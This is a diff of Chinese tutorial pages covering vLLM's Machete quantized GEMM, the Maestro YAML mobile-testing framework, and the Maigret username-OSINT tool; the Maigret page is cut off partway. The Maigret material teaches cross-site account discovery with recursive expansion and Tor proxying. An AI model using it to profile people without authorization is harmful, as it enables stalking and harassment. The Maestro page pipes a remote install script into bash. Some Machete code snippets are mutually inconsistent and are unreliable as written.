+简单类比：普通矩阵乘法像是在菜市场一个一个挑菜称重，Machete 是先把菜按种类分好盒、排好序，然后用传送带一次搬运一整批。
+
+## 二、核心概念
+
+### 2.1 矩阵量化（Quantization）
+
+GPU 的 Tensor Core 最擅长做 FP16 或 BF16 矩阵乘法。但模型参数太大，存不下也搬不动。于是把权重从高精度压缩到低精度——比如从 FP16（16 位）压缩成 INT4（4 位）。
+
+- W4A16 的意思：**W**eight 用 4-bit 量化，**A**ctivation 保持 16-bit
+- 量化后参数体积缩小 4 倍，但计算会变"粗糙"
+- 为了补偿精度损失，每个量化组乘以一个**缩放系数（scale）**拉回来
+
+类比：就像把高清照片缩小成缩略图，scale 就是"还原时的放大倍数"。
+
+### 2.2 混合精度 GEMM（Mixed Precision GEMM）
+
+Machete 的全称是 **Mixed Precision Cutlass-Based GEMM**。GEMM 就是通用矩阵乘法（General Matrix Multiply）的缩写。
+
+核心计算公式：
+
+```
+output = (W_quant × scales - zero_points) @ activation
+```
+
+其中：
+- `W_quant` — 量化后的 4-bit 权重
+- `scales` — 每组权重的缩放系数
+- `zero_points` — 零点偏移（补偿量化误差）
+- `activation` — 保持 16-bit 精度的激活值
+
+### 2.3 Prepacking（预打包）
+
+这是 Machete 最核心的优化。
+
+普通的 GPU 矩阵库（如 cuBLAS）假设数据是整齐排列的。但量化权重是"碎片化"的——4 个 int4 值塞进 1 个 byte。Tensor Core 不认识这种格式。
+
+Prepacking 就是**在调用 kernel 之前，把权重从"存储格式"重新排列成"Tensor Core 喜欢的格式"**。这样 kernel 运行时可以直接用宽度的 shared memory 读取，不用逐 bit 解析。
+
+类比：快递仓库的货本来乱七八糟堆着，prepacking 就是按目的地分类、装箱、贴好标签，卡车一到直接上车拉走。
+
+### 2.4 Hopper 架构专用
+
+Machete 是为 NVIDIA Hopper（H100）架构设计的。它是 Marlin kernel 的精神继任者，但基于 CUTLASS 构建，所以：
+- 更容易添加新的类型组合
+- 更容易支持新的 epilogue（计算后的操作）
+
+## 三、代码示例
+
+### 示例 1：基本用法
+
+这是 vLLM README 中展示的最简调用方式。核心分两步：先打包，再计算。
+
+```python
+from vllm import _custom_ops as ops
+
+# 假设这些变量已经准备好了：
+#   a        — activation 矩阵，shape (M, K)，dtype=BF16
+#   w_q      — 量化后的权重矩阵，shape (K, N)，int4
+#   w_s      — 量化缩放系数，shape 取决于 group_size
+#   group_size — 每个量化组的权重数量，常用 128
+
+# 第一步：预打包权重
+# 把 int4 权重重排成 Tensor Core 能直接用的格式
+W_q_packed = ops.machete_prepack_B(w_q, wtype)
+
+# 第二步：执行矩阵乘法
+output = ops.machete_gemm(
+    a,                        # 激活值
+    b_q=W_q_packed,           # 预打包的量化权重
+    b_type=wtype,             # 权重类型，如 uint4b8
+    b_scales=w_s,             # 缩放系数
+    b_group_size=group_size   # 量化组大小
+)
+```
+
+`output` 的形状是 `(M, N)`，结果默认是 BF16/FP16 精度。
+
+### 示例 2：完整量化流水线（含零点）
+
+实际应用中，量化通常带有零点补偿和多种缩放。vLLM 的测试代码展示了完整流程：
+
+```python
+import torch
+from vllm import _custom_ops as ops
+from vllm.model_executor.layers.quantization.utils.quant_utils import (
+    quantize_weights,
+    pack_rows,
+)
+from vllm.scalar_type import ScalarType
+
+# 输入：FP16 的原始权重
+w_fp16 = torch.randn(4096, 4096, dtype=torch.float16, device="cuda")
+a      = torch.randn(64, 4096, dtype=torch.float16, device="cuda")
+
+# 量化权重（INT4，group_size=128）
+wtype = ScalarType.uint4b8
+group_size = 128
+w_ref, w_q, w_s, w_zp = quantize_weights(
+    w_fp16, wtype, group_size=group_size,
+    ref_zero_points_after_scales=True
+)
+
+# 打包 int4 行（每 byte 存 2 个 int4 值）
+w_q = pack_rows(w_q, wtype.size_bits, *w_q.shape)
+w_q = w_q.t().contiguous().t()  # 转成列主序
+
+# Machete 预打包
+W_q_packed = ops.machete_prepack_B(w_q, a.dtype, wtype, w_s.dtype)
+
+# 零点预处理：Machete 的零点是"在 scale 之后"应用的
+# 所以要把 zp 乘以 scale 并取反，合并到 kernel 内部
+w_g_zp = -1 * w_s * (w_zp.to(w_s.dtype))
+
+# 执行 GEMM
+output = ops.machete_mm(
+    a=a,
+    b_q=W_q_packed,
+    b_type=wtype,
+    b_group_scales=w_s,      # 组缩放系数
+    b_group_zeros=w_g_zp,    # 组零点（已预处理）
+    b_group_size=group_size,
+    out_type=torch.float16    # 输出精度
+)
+```
+
+这里要注意一个细节：`w_g_zp = -1 * w_s * (w_zp.to(w_s.dtype))`。
+
+为什么？因为 Machete 的 kernel 内部执行顺序是 `scale * (quant_weight - zero_point)`，所以传入的零点需要先乘以 scale 再取反，才能等价于标准的 `(weight - zp) * scale`。
+
+### 示例 3：对比基准测试
+
+vLLM 内置了完整的 benchmark 脚本，对比 Machete、Marlin、cuBLAS 和 PyTorch 原始实现的性能：
+
+```python
+from vllm import _custom_ops as ops
+import torch
+
+# 准备测试数据
+M, N, K = 64, 4096, 4096
+a = torch.randn(M, K, dtype=torch.float16, device="cuda")
+w = torch.randn(K, N, dtype=torch.float16, device="cuda")
+
+# 量化 + 打包
+wtype = ScalarType.uint4b8
+group_size = 128
+_, w_q, w_s, w_zp = quantize_weights(w, wtype, group_size=group_size)
+w_q = pack_rows(w_q, wtype.size_bits, *w_q.shape)
+W_q_packed = ops.machete_prepack_B(w_q.t().contiguous().t(), a.dtype, wtype, w_s.dtype)
+
+# 方法1：PyTorch 原始 BF16 矩阵乘法（baseline）
+output_torch = torch.matmul(a, w.to(torch.bfloat16))
+
+# 方法2：Machete 量化矩阵乘法
+output_machete = ops.machete_mm(
+    a=a, b_q=W_q_packed, b_type=wtype,
+    b_group_scales=w_s, b_group_zeros=None,
+    b_group_size=group_size
+)
+
+# 验证精度
+diff = torch.abs(output_machete - output_torch).mean()
+print(f"平均误差: {diff:.6f}")
+
+# 用 torch.benchmark 跑性能测试
+import torch.utils.benchmark as tb
+timer = tb.Timer(
+    stmt="for _ in range(100): fn()",
+    globals={"fn": lambda: ops.machete_mm(
+        a=a, b_q=W_q_packed, b_type=wtype,
+        b_group_scales=w_s, b_group_zeros=None,
+        b_group_size=group_size
+    )}
+)
+result = timer.blocked_autorange()
+print(f"Machete W4A16 GEMM 平均耗时: {result.median * 1000:.3f} ms")
+```
+
+## 四、Schedule（调度器）概念
+
+Machete 支持多种 schedule，每种针对不同的矩阵形状做了优化。
+
+```python
+# 查看当前类型组合支持哪些 schedule
+schedules = ops.machete_supported_schedules(
+    a_type=torch.float16,
+    b_type=ScalarType.uint4b8,
+    group_scales_type=torch.float16,
+    out_type=torch.float16
+)
+# 可能返回: ["2x1024x128", "4x512x128", "1x2048x128"] 等
+
+# 手动指定 schedule 使用
+output = ops.machete_mm(
+    a=a, b_q=W_q_packed, b_type=wtype,
+    b_group_scales=w_s, b_group_size=128,
+    schedule="2x1024x128"  # 指定 tile 形状
+)
+```
+
+如果没有指定 schedule，Machete 内部会有一个启发式算法（heuristic）自动选择。
+
+不同 schedule 的 `MxNxTileSize` 组合适合不同大小的矩阵。就像不同的齿轮传动比——小矩阵用低档（小 tile），大矩阵用高档（大 tile）。
+
+## 五、关键架构总结
+
+用一张图理解整个数据流：
+
+```
+原始 FP16 权重
+       │
+       ▼
+ quantize_weights()      ← 从 16-bit 压到 4-bit，产出 W_quant + scales + zero_points
+       │
+       ▼
+ pack_rows()             ← 把 int4 值打包进 byte，产出紧凑的 int 张量
+       │
+       ▼
+ machete_prepack_B()     ← 重排成 Tensor Core 友好的格式（核心优化！）
+       │
+       ▼
+ machete_mm()            ← 在 GPU 上做混合精度矩阵乘法
+       │
+       ▼
+     输出结果
+```
+
+## 六、学习要点回顾
+
+1. **W4A16** = 权重 4-bit 量化 + 激活 16-bit，是推理中性价比最高的量化配置
+2. **Prepacking** = 把碎片化的 int4 数据重排成 Tensor Core 能直接"吞"的格式
+3. **scale + zero_point** = 量化后拉回正确数值的两个校准参数
+4. **Schedule** = tile 形状的预设组合，自动或手动选择以适配不同矩阵大小
+5. Machete 面向 Hopper（H100+）GPU，是 Marlin 的继任者，基于 CUTLASS 构建
+
+## 七、延伸阅读方向
+
+- CUTLASS 库：Machete 的底层基础，理解 CUTLASS 的 tile 概念会帮助理解 schedule
+- GPTQ 量化算法：W4A16 最常用的量化方法
+- Tensor Core 的 PTX 指令：理解 shared memory 宽加载为什么比逐 bit 解析快
+- Marlin kernel：Machete 的前身，对比阅读能理解设计演进
diff --git a/src/content/docs/projects/maestro.md b/src/content/docs/projects/maestro.md
new file mode 100644
index 000000000..3cd84f775
--- /dev/null
+++ b/src/content/docs/projects/maestro.md
@@ -0,0 +1,297 @@
+---
+title: Maestro — 移动端 YAML 端到端 UI 测试
+来源: https://github.com/mobile-dev-inc/maestro
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Maestro 是 [Mobile.dev](https://mobile.dev) 开源的 **移动端与 Web 端到端 UI 测试框架**。你用 **人类可读的 YAML** 描述「用户旅程」（官方称为 **Flow**），Maestro CLI 在真机或模拟器上按步骤点击、输入、断言——**同一套语法覆盖 Android、iOS，以及桌面浏览器**。
+
+日常类比：传统移动端自动化像写 **遥控车程序**——你得学 Java/Python、配 Appium Server、写 XPath、在代码里塞 `sleep(3000)` 等动画结束。Maestro 更像 **给手机念操作清单**：「打开 App → 点登录 → 输入邮箱 → 点提交 → 检查欢迎页出现」。清单用 YAML 写，测试同学和产品经理也能读懂；引擎负责在系统无障碍层找按钮、自动重试，你不必当「遥控车工程师」。
+
+官方仓库：https://github.com/mobile-dev-inc/maestro（Apache-2.0，约 9k+ stars）。安装后是一个 **单文件 CLI**；配套还有 **Maestro Studio**（可视化 IDE）和 **Maestro Cloud**（并行云测），但核心执行引擎完全开源。
+
+最小 Flow 长这样：
+
+```yaml
+appId: com.example.myapp
+---
+- launchApp
+- tapOn: "登录"
+- inputText: "user@example.com"
+- tapOn: "密码"
+- inputText: "secret123"
+- tapOn: "提交"
+- assertVisible: "欢迎回来"
+```
+
+没有 import、没有类、没有 WebDriver Session——**一个 YAML 文件就是一条可运行的测试**。
+
+## 为什么重要
+
+移动端 E2E 处在测试金字塔顶端：慢、环境杂、维护成本高。不理解 Maestro，以下选型与落地问题很难回答：
+
+- **「不想为测 UI 再学一门测试框架 API」**——Maestro 用声明式 YAML，语法接近自然语言；与 Playwright 的 TypeScript、Appium 的 WebDriver 相比 **上手曲线最平**
+- **「黑盒能不能测 React Native / Flutter？」**——可以。Maestro 走操作系统 **无障碍树（accessibility tree）**，不依赖应用源码；官方明确支持 RN、Flutter、Jetpack Compose、SwiftUI
+- **「和 Detox / Appium 怎么选？」**——Detox 专精 RN 灰盒同步；Appium 跨平台 + 多语言最广；**Maestro 用 YAML + 内置智能等待**，适合快速铺冒烟流、让非开发同学参与维护
+- **「CI 里怎么跑？」**——`maestro test .maestro/` 一条命令；可接 Maestro Cloud 并行多设备，也可在 GitHub Actions / Bitrise 等用官方 Action 集成
+
+若团队要 **快速建立移动端冒烟覆盖**、减少「只有 QA 能改脚本」的瓶颈，或已在用 Playwright 测 Web 并希望移动端也保持「可读脚本」，Maestro 是 2026 年值得优先评估的选项之一。
+
+## 核心概念
+
+Maestro 的心智模型可压成六块：
+
+### 1. Flow（用户旅程）
+
+**Flow** 是测试的基本单位，对应一段真实用户路径：登录、结账、搜索、 onboarding 等。一个 Flow 通常是一个 `.yaml` 文件，也可拆成多个文件用 `runFlow` 组合。
+
+Flow 文件分两段，用 `---` 分隔：
+
+| 段落 | 位置 | 内容 |
+|------|------|------|
+| **配置区** | `---` 之上 | `appId`（必填）、`name`、`tags`、`env` 环境变量等 |
+| **命令区** | `---` 之下 | 有序命令列表：`launchApp`、`tapOn`、`assertVisible`… |
+
+这种结构让「测哪个 App」和「怎么操作」一眼分开，便于 CI 按 `tags` 筛选用例。
+
+### 2. 黑盒 + 无障碍层定位
+
+Maestro **不读你的源码**，像屏幕阅读器一样通过系统 API 获取 UI 树：
+
+- Android：Accessibility / UiAutomator
+- iOS：Accessibility / XCTest 接口
+
+因此定位主要靠 **屏幕上可见的文字**、`id`、或相对位置，而不是 XPath 链。官方推荐优先用用户能看到的 label，测试与真实可访问性一致。
+
+### 3. 声明式命令与智能等待
+
+每条命令表达 **意图**，不是底层手势序列。引擎会 **自动等待** 元素出现、可点击、动画稳定后再执行——类似 Playwright 的 auto-wait，无需手写 `Thread.sleep`。
+
+常用命令族：
+
+| 命令 | 作用 |
+|------|------|
+| `launchApp` | 启动应用，可选 `clearState`、`stopApp` |
+| `tapOn` / `doubleTapOn` / `longPressOn` | 点击、双击、长按 |
+| `inputText` | 向当前焦点输入文字 |
+| `assertVisible` / `assertNotVisible` | 断言元素存在或不存在 |
+| `scroll` / `swipe` | 滚动与滑动手势 |
+| `takeScreenshot` / `startRecording` | 截图与录屏，便于 CI 留证 |
+| `runFlow` | 调用子 Flow，复用登录等公共步骤 |
+
+### 4. 子 Flow 与条件分支
+
+复杂套件用 **模块化** 避免复制粘贴：
+
+- **`runFlow: login.yaml`**：把登录抽成子 Flow，多条主流程共用
+- **`runFlow` + `when`**：按条件执行（例如仅当「允许通知」弹窗出现时才点 Allow）
+- **`onFlowStart` / `onFlowComplete` hooks**：流程前后清缓存、登出等生命周期
+
+还可嵌入 **JavaScript** 片段生成随机邮箱、调 HTTP API，在沙箱中运行（无本地文件系统访问）。
+
+### 5. Maestro 工具链分工
+
+| 组件 | 角色 |
+|------|------|
+| **Maestro CLI** | 开源执行引擎；本地与 CI 的主入口 |
+| **Maestro Studio** | 可视化 IDE：镜像设备、点选元素生成 YAML、即时回放 |
+| **Maestro Cloud** | 托管并行执行，上传 APK/IPA + Flows，缩短大规模回归时间 |
+| **Maestro MCP** | 把设备与命令暴露给 AI Agent，用于自动生成/修复 Flow |
+
+日常开发：**Studio 或手写 YAML 迭代** → **CLI 本地验证** → **CI / Cloud 批量跑**。
+
+### 6. Workspace 与 `config.yaml`
+
+项目根或 `.maestro/` 目录可放 **`config.yaml`**，统一配置默认 `appId`、环境变量、Flow 目录结构。大型仓库常按功能分子目录：
+
+```
+.maestro/
+  config.yaml
+  flows/
+    smoke/
+      login.yaml
+      checkout.yaml
+    subflows/
+      onboarding.yaml
+```
+
+`maestro test .maestro/flows/smoke` 只跑冒烟子集。
+
+## 安装与环境
+
+macOS / Linux 一键安装 CLI（官方脚本）：
+
+```bash
+curl -Ls "https://get.maestro.mobile.dev" | bash
+maestro --version
+```
+
+前置条件：
+
+- **Android**：已启动的模拟器或 USB 真机，`adb devices` 可见
+- **iOS**：macOS 上的 Simulator 或真机，需 Xcode 工具链
+- **Web**：桌面 Chromium 会话（`url:` 替代 `appId`）
+
+验证环境是否就绪：
+
+```bash
+maestro test --help
+# 或下载官方样例
+maestro download-samples
+```
+
+Windows 需按官方文档使用 WSL 或替代安装路径。
+
+## 实践案例
+
+### 案例 1：Android 通讯录 — 创建联系人（官方 Quickstart 简化）
+
+适合第一次跑通「写 YAML → 看模拟器自动操作」：
+
+```yaml
+# contacts_android.yaml
+appId: com.google.android.contacts
+---
+- launchApp:
+    clearState: true
+- tapOn: Allow                    # 系统权限弹窗（若出现）
+- tapOn: Create contact
+- tapOn: First name
+- inputText: John
+- tapOn: Last name
+- inputText: Doe
+- tapOn: Company
+- inputText: Maestro
+- tapOn: "+1"
+- inputText: 111-111-1111
+- tapOn: Save
+- back
+- assertVisible: John Doe
+- takeScreenshot: contact_created
+```
+
+执行：
+
+```bash
+# 确保 Android 模拟器已启动
+maestro test contacts_android.yaml
+```
+
+终端会逐步打印每条命令的通过/失败；失败时 Maestro 指出 **找不到哪个文本/元素**，并保留截图路径。`clearState: true` 保证每次从干净应用状态开始，避免上次测试残留数据干扰。
+
+### 案例 2：带环境变量与子 Flow 的登录冒烟
+
+把登录抽成子 Flow，主流程只关心业务路径：
+
+```yaml
+# .maestro/subflows/login.yaml
+appId: com.example.shop
+---
+- launchApp:
+    clearState: true
+- runFlow:
+    when:
+      visible: "稍后"
+    commands:
+      - tapOn: "稍后"              # 可选的开屏广告
+- tapOn: "邮箱"
+- inputText: ${EMAIL}
+- tapOn: "密码"
+- inputText: ${PASSWORD}
+- tapOn: "登录"
+- assertVisible: "首页"
+```
+
+```yaml
+# .maestro/flows/smoke_add_to_cart.yaml
+appId: com.example.shop
+name: 加购冒烟
+tags:
+  - smoke
+env:
+  EMAIL: "qa@example.com"
+  PASSWORD: "test-pass-123"
+---
+- runFlow: ../subflows/login.yaml
+- tapOn: "搜索"
+- inputText: "蓝牙耳机"
+- tapOn: "搜索按钮"
+- tapOn: "第一个商品"
+- tapOn: "加入购物车"
+- assertVisible: "已加入购物车"
+```
+
+执行整个冒烟目录并传入覆盖变量：
+
+```bash
+maestro test .maestro/flows/smoke \
+  -e EMAIL=ci-user@corp.com \
+  -e PASSWORD="$QA_PASSWORD"
+```
+
+**要点**：
+
+- `${EMAIL}` 来自 Flow 内 `env` 或 CLI `-e`，敏感信息走 CI Secret，不写进仓库
+- `runFlow` + `when: visible` 处理 **非确定性 UI**（广告、权限），比硬编码 `sleep` 稳
+- `tags: smoke` 便于以后 `maestro test --include-tags=smoke` 只跑冒烟
+
+### 案例 3：Web 单页断言（同一引擎）
+
+Maestro 也支持桌面浏览器 Flow，语法与移动端一致：
+
+```yaml
+url: https://example.com
+---
+- launchApp
+- tapOn: More information...
+- assertVisible: Further Reading
+```
+
+适合「移动端 App + 营销站」用同一工具链做轻量回归。
+
+## 与同类工具对比
+
+| 维度 | Maestro | Appium | Detox |
+|------|---------|--------|-------|
+| 脚本形式 | YAML 声明式 | 多语言 + WebDriver API | JavaScript + Jest |
+| 应用类型 | 黑盒，多技术栈 | 黑盒/灰盒，最广 | 灰盒，**仅 RN 为主** |
+| 上手成本 | 低 | 中高 | 中 |
+| 同步模型 | 内置智能等待 | 需显式等待策略 | RN 桥接层空闲检测 |
+| 典型场景 | 快速冒烟、跨端 YAML、非开发维护 | 企业级多语言设备农场 | RN 深度 E2E、低 flake |
+
+三者可共存：Maestro 铺 **宽而浅的旅程覆盖**，Detox 盯 **RN 核心路径**，Appium 覆盖 **特殊原生能力或已有 Java 测试资产**。
+
+## 常见问题
+
+**Q：元素找不到怎么办？**
+
+用 Maestro Studio 的 **Inspect Screen** 点选控件，查看推荐 selector；或 `maestro hierarchy` 打印当前 UI 树。优先改用语义化 `accessibilityLabel` / `testID`，比坐标点击耐维护。
+
+**Q：Flutter / RN 要额外配置吗？**
+
+一般 **安装调试包到设备即可** 黑盒运行。Release 包若剥离了语义信息，断言会变难——保留 accessibility 标识是测试友好构建的一部分。
+
+**Q：能在 Expo 项目里用吗？**
+
+可以。需 **development build 或独立 APK/IPA**（含正确 `applicationId` / `bundleId`），在 Flow 里写对应 `appId`。纯 Expo Go 场景要用 Go 的 app id，且版本受通道影响，CI 更推荐固定 dev client 构建。
+
+**Q：和 Playwright 如何分工？**
+
+Playwright 管 **浏览器内** Web；Maestro 管 **装进设备的 App** 与 **桌面浏览器标签**（Maestro Web 模式）。团队可把「官网 + App」拆成两套 Flow，在 CI 不同 job 并行。
+
+## 学习路径建议
+
+1. **安装 CLI**，用官方 `contacts` 或 `download-samples` 跑通第一条 Flow（约 15 分钟）
+2. **装 Maestro Studio**，用点选生成 YAML，理解 `tapOn` / `assertVisible` 与真实控件的对应关系
+3. 为自己 App 写 **`login` 子 Flow + 一条核心业务冒烟**，接入 CI 的 `maestro test`
+4. 阅读官方文档：[Flows 概述](https://docs.maestro.dev/maestro-flows)、[Flow 控制与逻辑](https://docs.maestro.dev/)、[JavaScript 扩展](https://docs.maestro.dev/)
+5. 规模变大后评估 **Maestro Cloud** 并行与 **MCP** 辅助生成用例
+
+## 小结
+
+Maestro 把移动端 E2E 从「写代码驱动 WebDriver」收成 **「写清单描述用户行为」**：YAML Flow、黑盒无障碍定位、内置等待、子 Flow 组合，加上 CLI / Studio / Cloud 的分工，让零基础团队也能在一天内跑起第一条自动化旅程。它不一定取代 Appium 的设备农场或 Detox 的 RN 灰盒深度，但在 **可读性、上手速度、跨 Android/iOS/Web 统一语法** 上优势明显——值得作为移动端质量保障的默认第一站。
diff --git a/src/content/docs/projects/maigret-osint.md b/src/content/docs/projects/maigret-osint.md
new file mode 100644
index 000000000..f561e975c
--- /dev/null
+++ b/src/content/docs/projects/maigret-osint.md
@@ -0,0 +1,267 @@
+---
+title: Maigret 零基础入门 — 凭用户名跨 3000+ 站点做 OSINT
+来源: https://github.com/soxoj/maigret
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 从日常类比说起
+
+想象你在城市里找一位只用网名活动的朋友：他可能在 GitHub 写代码、在摄影站发图、在论坛灌水、在二手平台卖货。你**不知道真名和手机号**，只记得他几乎到处都叫 `johndoe`。
+
+手工做法是什么？打开浏览器，把 `johndoe` 填进几十个网站的搜索框，或者凭经验拼 URL：`github.com/johndoe`、`reddit.com/user/johndoe`……一个一个试，看是 404 还是个人主页。一天下来，手指酸、眼睛花，还必然漏站。
+
+**Maigret**（[soxoj/maigret](https://github.com/soxoj/maigret)）做的事，相当于雇了一支**并行跑腿队**：你只喊一次「帮我查 `johndoe`」，它同时去 3000+ 个已录入规则的网站敲门，谁回「这个用户名有人用了」，就把公开主页链接抄回来，还能从页面里抠出简介、头像、注册时间、以及页面上写明的其他账号 ID，最后整理成 HTML / JSON 报告。
+
+名字来自法国侦探小说里的 **Jules Maigret**——不靠蛮力，靠理解人和人之间的关系网。工具本身也是著名 OSINT 项目 [Sherlock](https://github.com/sherlock-project/sherlock) 的加强 fork：站点更多、能解析资料、能递归扩线、能当 Python 库嵌入流水线。
+
+> **法律与伦理（零基础也必须先读）**  
+> Maigret 只访问**公开网页**，不需要目标密码，也不等于「可以随便查任何人」。GDPR、个人信息保护法及各地法规对收集、存储、处理个人数据有严格要求。  
+> 仅在你**有权调查**的目标上使用（自己的账号、授权渗透测试、合规新闻调查等）。禁止用于骚扰、跟踪或未授权监控。滥用责任由使用者承担。
+
+---
+
+## 它到底是什么
+
+一句话：**输入用户名 → 批量探测数千站点是否存在同名公开账号 → 可选解析页面元数据 → 输出报告。**
+
+技术栈：Python 3.10+（推荐 3.11），异步 HTTP 并发，内置 JSON 站点规则库（每次运行可自动从 GitHub 拉取更新，离线则用内置库）。**不需要各站 API Key**——靠的是维护者写好的 URL 模板和「页面长什么样算命中」的检测规则。
+
+默认行为（和全量扫描的区别很重要）：
+
+| 模式 | 含义 | 适用场景 |
+|------|------|----------|
+| 默认 Top 500 | 按流量排名扫描前 500 个站 | 日常摸底，几分钟级 |
+| `-a` / `--all-sites` | 扫描库内全部 3000+ 站 | 深度调查，耗时长、易触发限速 |
+| `--tags photo,dating` | 只扫带指定标签的站 | 按场景缩小面 |
+| `--top-sites 100` | 只扫前 100 个站 | 快速验证化名是否存在 |
+
+---
+
+## 核心概念（读懂就能少踩坑）
+
+### 1. 站点规则库（Site Database）
+
+每个网站在库里是一条规则，大致包含：
+
+- **URL 模板**：`https://example.com/users/{username}`
+- **存在性判定**：HTTP 状态码、页面是否含某关键词、正则等
+- **tags**：如 `us`、`ru`、`photo`、`coding`，供 `--tags` 过滤
+- **usernameClaimed / usernameUnclaimed**：维护者用来 `--self-check` 的自测样本
+
+类比：不是让 AI「猜」有没有账号，而是**按菜谱**——每家店规定「菜单上写这个名字就代表有人占了」。
+
+### 2. 异步并发（Async Checking）
+
+核心 API `maigret_search` 用 `asyncio` 同时发大量请求，受 `timeout`、`retries`、`max_connections`（默认约 100）约束。  
+像快递站同时派出 100 个骑手，而不是挨个小区步行。
+
+### 3. 资料解析（Profile Parsing）
+
+命中后可选开启解析（`is_parsing_enabled=True`），从 HTML / 开放接口抽字段：bio、location、头像 URL、关注数，以及页面上出现的**其他平台用户名**。  
+例如 GitHub 简介里写了 Twitter `@sox0j`，这就是扩线线索。
+
+### 4. 递归搜索（Recursive Search）
+
+发现新用户名或 ID 后，可自动加入待搜队列（默认开启，可用 `--no-recursion` 关闭）。  
+读完一张名片，按名片上的第二个号码继续查——扩线快，但也容易爆炸，不明朗时先关递归。
+
+### 5. 反向入口：`--parse URL`
+
+已有主页链接、不知道用户名怎么写时：
+
+```bash
+maigret --parse https://github.com/soxoj --html
+```
+
+工具先解析页面提取用户名和 ID，再展开常规搜索。
+
+### 6. 报告与交付
+
+CLI 支持 `--html`、`--pdf`（可选依赖 `pip install 'maigret[pdf]'`）、`--json`、`--csv`、`--xmind` 等；`--folderoutput` 为多用户名分目录存放。  
+Web UI：`maigret --web 5000`，浏览器打开 `http://127.0.0.1:5000` 看图谱和表格。
+
+### 7. 与 Sherlock / Holehe 的分工
+
+- **Sherlock**：同源思路，站点和解析能力较弱，Maigret 可视为继任加强版。  
+- **Holehe**：主要问「这个**邮箱**在哪些站注册过」，输入维度不同，常与 Maigret **互补**。
+
+---
+
+## 安装与第一次运行
+
+```bash
+# 需要 Python 3.10+
+pip install maigret
+
+# 对默认 Top 500 站点搜索
+maigret YOUR_USERNAME
+
+# 生成 HTML 报告到当前目录
+maigret YOUR_USERNAME --html --folderoutput ./reports
+```
+
+无本地 Python 时，可体验 [maigret.dev](https://maigret.dev/) 的浏览器试用（约 Top 100、固定安全参数），或 Docker：
+
+```bash
+docker pull soxoj/maigret
+docker run -v "$(pwd)/reports:/app/reports" soxoj/maigret:latest johndoe --html
+```
+
+终端输出里，`[+]` 表示确认找到账号，`[-]` 是进度信息，`[!]` 常是提示（例如「可用 `-a` 扫全库」）。
+
+---
+
+## 代码示例 1：CLI 常用组合
+
+适合零基础「摸清一个化名」的脚本：
+
+```bash
+#!/usr/bin/env bash
+# osint-quick.sh — 用测试小号或授权目标，勿对陌生人滥用
+set -euo pipefail
+
+USER="${1:?用法: ./osint-quick.sh <username>}"
+OUT="./maigret-out/$(date +%Y%m%d)-${USER}"
+mkdir -p "$OUT"
+
+maigret "$USER" \
+  --top-sites 200 \
+  --tags coding \
+  --html \
+  --json simple \
+  --folderoutput "$OUT" \
+  --timeout 25
+
+echo "报告目录: $OUT"
+```
+
+说明：
+
+- `--top-sites 200` 比默认 500 更快，适合先跑一轮。  
+- `--tags coding` 只查开发类站点，噪声少。  
+- 多个用户名可空格分隔：`maigret alice bob --html`。  
+- 真名拆成变体：`maigret john doe --permute` 会生成 `johndoe`、`john.doe` 等并全部搜索。
+
+---
+
+## 代码示例 2：Python 库最小嵌入
+
+CLI 是薄封装；流水线里更推荐直接 `import`（摘自 [官方 Library usage](https://maigret.readthedocs.io/en/stable/library-usage.html)）：
+
+```python
+import asyncio
+import logging
+
+from maigret import search as maigret_search
+from maigret.sites import MaigretDatabase
+
+logging.basicConfig(level=logging.INFO)
+logger = logging.getLogger("maigret")
+
+async def hunt(username: str, top: int = 100) -> list[tuple[str, str]]:
+    db = MaigretDatabase()
+    await db.load_from_file()  # 内置站点库，可自动更新
+    sites = db.ranked_sites_dict(top=top)
+
+    results = await maigret_search(
+        username=username,
+        site_dict=sites,
+        logger=logger,
+        timeout=30,
+        is_parsing_enabled=True,  # 填充 ids_data：bio、外链账号等
+    )
+
+    hits = []
+    for site_name, result in results.items():
+        if result["status"].is_found():
+            hits.append((site_name, result["url_user"]))
+            ids = result.get("ids_data") or {}
+            if ids:
+                print(f"  [{site_name}] extra:", ids)
+    return hits
+
+if __name__ == "__main__":
+    found = asyncio.run(hunt("soxoj", top=50))
+    print(f"共 {len(found)} 个命中")
+```
+
+要点：
+
+- `maigret_search` 是 **async** 函数；在 FastAPI 等已有事件循环里用 `await`，不要套娃 `asyncio.run`。  
+- `ranked_sites_dict(top=200, tags=["photo"])` 与 CLI 的 `--tags` 等价。  
+- 需要 Tor / 代理时传 `tor_proxy="socks5://127.0.0.1:9050"` 等参数，与 CLI 旗标一一对应。
+
+---
+
+## 代码示例 3：Docker + 全站扫描（慎用）
+
+深度调查时才建议 `-a`，耗时可到数十分钟，且部分站点会 CAPTCHA：
+
+```bash
+mkdir -p reports
+docker run --rm \
+  -v "$PWD/reports:/app/reports" \
+  soxoj/maigret:latest \
+  user1 user2 user3 -a --html --folderoutput /app/reports
+```
+
+维护者还可 `--self-check --auto-disable` 验证规则是否过期，或用 `--submit URL` 半自动把新站点写入本地库。
+
+---
+
+## 输出长什么样
+
+成功命中时，终端可能类似（摘自官方文档）：
+
+```text
+[+] GitHub: https://github.com/soxoj
+        ├─location: Amsterdam, Netherlands
+        ├─fullname: Soxoj
+        ├─twitter_username: sox0j
+        └─bio: Head of OSINT Center of Excellence in @SocialLinks-IO
+```
+
+这里的 `twitter_username` 就是**递归扩线**的燃料。HTML 报告通常含链接列表、关系图（D3）、可下载的 JSON 副本，便于存档或接下游分析。
+
+---
+
+## 性能、误报与排错
+
+1. **先小后大**：默认 Top 500 → 确认有价值再 `-a`。  
+2. **假阳性**：站点改版会导致规则过期；对长期跑批先 `--self-check`。  
+3. **超时**：`--timeout 45` 在网络差时减少漏检，但拉长总时间。  
+4. **私密账号**：未登录看不见的页面，工具**不能**当成有效命中（除非站点错误返回 200）。  
+5. **递归**：面不明朗时用 `--no-recursion`，确认主干化名后再开。  
+6. **PDF**：`pip install 'maigret[pdf]'`，部分 Linux 环境还需 Cairo 相关系统库。
+
+---
+
+## 零基础学习路径（建议 4 天）
+
+| 天 | 任务 |
+|----|------|
+| 第 1 天 | `pip install maigret`，对自己控制的**小号**跑 `maigret <name> --html`，打开报告熟悉字段 |
+| 第 2 天 | 试 `--tags`、`--top-sites`、`--parse URL`，理解扫描范围与递归 |
+| 第 3 天 | 跑通上文 Python 示例，把命中写入 JSON 或 SQLite |
